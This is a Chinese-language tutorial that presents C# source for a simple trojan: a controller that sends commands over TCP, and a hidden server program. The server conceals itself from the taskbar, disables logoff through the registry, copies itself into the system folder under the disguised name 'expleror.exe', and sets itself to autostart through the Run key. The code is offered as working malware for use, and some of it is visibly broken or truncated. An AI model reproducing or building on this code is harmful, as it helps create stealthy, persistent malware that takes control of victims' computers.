使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
使用了.NET类中的 System.Net.Sockets.TcpClient类, TcpClient(string hostname,int port) Hostname 是要控制的主机名称,当然你也可以用IP地址。 Port是端口。 // System.EventArgs包含事件数据类的基类 private void button7_Click(object sender, System.EventArgs e) { //记录操作,在richTextBox控件中增加操作信息 richTextBox1.AppendText("请求连接" +textBox1.Text +"r"); int port =6678; try { //初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 client = new TcpClient(textBox1.Text,port); } catch { MessageBox.Show("服务器不在线!确定是否输入主机名称."); richTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); } }//private void buttion |
2、测试是否与被控制机连接上。
程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流
//private NetworkStream stream; 代码如下: private void button8_Click(object sender, System.EventArgs e) { //纪录操作 richTextBox1.AppendText("测试连接" +"r"); try { stream = client.GetStream(); if(stream.CanWrite) { //发送控制码 string control = "jiance"; byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); stream.Write(by,0,by.Length); //下次使用 stream.Flush(); //启动接收反回数据的线程 //receive是线程执行的函数,见后面的分析 threadReceive = new Thread(new ThreadStart(receive)); threadReceive.Start(); } } catch(Exception ee) { richTextBox1.AppendText (ee.Message+"r"); MessageBox.Show(ee.Message); } } |
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e) { //这里是确定要发送的控制码,RadioButton是窗体控件 if(radioButton1.Checked){ control = form2.zhucex;} else if(radioButton2.Checked){ control =form3.zhuces;} else if(radioButton3.Checked){ control = warring;} else if(radioButton4.Checked){ control =suggest;} else if(radioButton5.Checked){ control =form4.mumawe;} else if(radioButton6.Checked){ control =drop;} if (control =="000000") { MessageBox.Show("你没有输入任何控制目标!不发控制信号"); richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); } else if(control != "000000") { try { //记录操作 richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "r"); stream = client.GetStream(); if(stream.CanWrite ) { byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); stream.Write(by,0,by.Length); stream.Flush(); threadReceive =new Thread(new ThreadStart(receive)); threadReceive.Start(); }//endif }//try catch { richTextBox1.AppendText("服务器未连接1控制无效!" +"r"); MessageBox.Show("服务器未连接1控制无效!" +"r"); } }//else if } |
4、线程执行的函数
private void receive() { //设置读取数据的空间 byte[] bb = new byte[3]; //读取3个字节,i为实际读取的字节数 int i = stream.Read(bb,0,3); //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); string ss = System.Text.Encoding.ASCII.GetString(bb); //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 if(ss=="hjc") { MessageBox.Show("连接成功"); richTextBox1.AppendText("连接成功"); } if(ss== "hkz") { richTextBox1.AppendText(control +"控制成功"+"r"); MessageBox.Show(control +"控制成功"+"r"); } } |
要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
private void InitializeComponent() { // // Form1 // //窗体显示的起点和大小 this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(368, 357); //窗体名称 this.Name = "Form1"; //设置属性让它后台运行 this.ShowInTaskbar = false; this.Text = "Form1"; this.Windowstate = System.Windows.Forms.FormWindowstate.Minimized; } |
2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
public Form1() //窗体的构造函数 // case "zx0100": |
3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:
private void UnLogOff() { //得到主机的注册表的顶级节点 Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; //设置一个注册表子键的变量 RegistryKey key1; try { //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 key1 = rLocal.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true); //设置子键的键名,和值 key1.SetValue ("NoLogOff",1); //关闭打开的子键 key1.Close(); //警告字符串设定 mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!"; } catch{} //如果不存在自已建立 if(key1 ==null) { try { //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 RegistryKey key2 = rLocal.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!"; } catch{} } } |
4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:winnntsystemmsdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。
private void moveCC1() { try { //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 //sourceFileName为要移动的文件名,destFileName为文件的新路径 File.Move("C:winnntsystemmsdoss.exe","d:winntsystem32expleror.exe"); } catch {} //将新移的木马程序设为自启动.分析和前面一样 try { key1 = rLocal.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRun",true); key1.SetValue ("microsoftt","d:winntsystem32expleror.exe"); key1.Close(); } catch{} if(key1 ==null) { try { RegistryKey key2=rLocal.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRun"); key1.SetValue ("microsoftt","d:winntsystem32expleror.exe"); key1.Close(); } catch{} } } //moveCC1() |
到这里一个简单的C#的木马就完成了。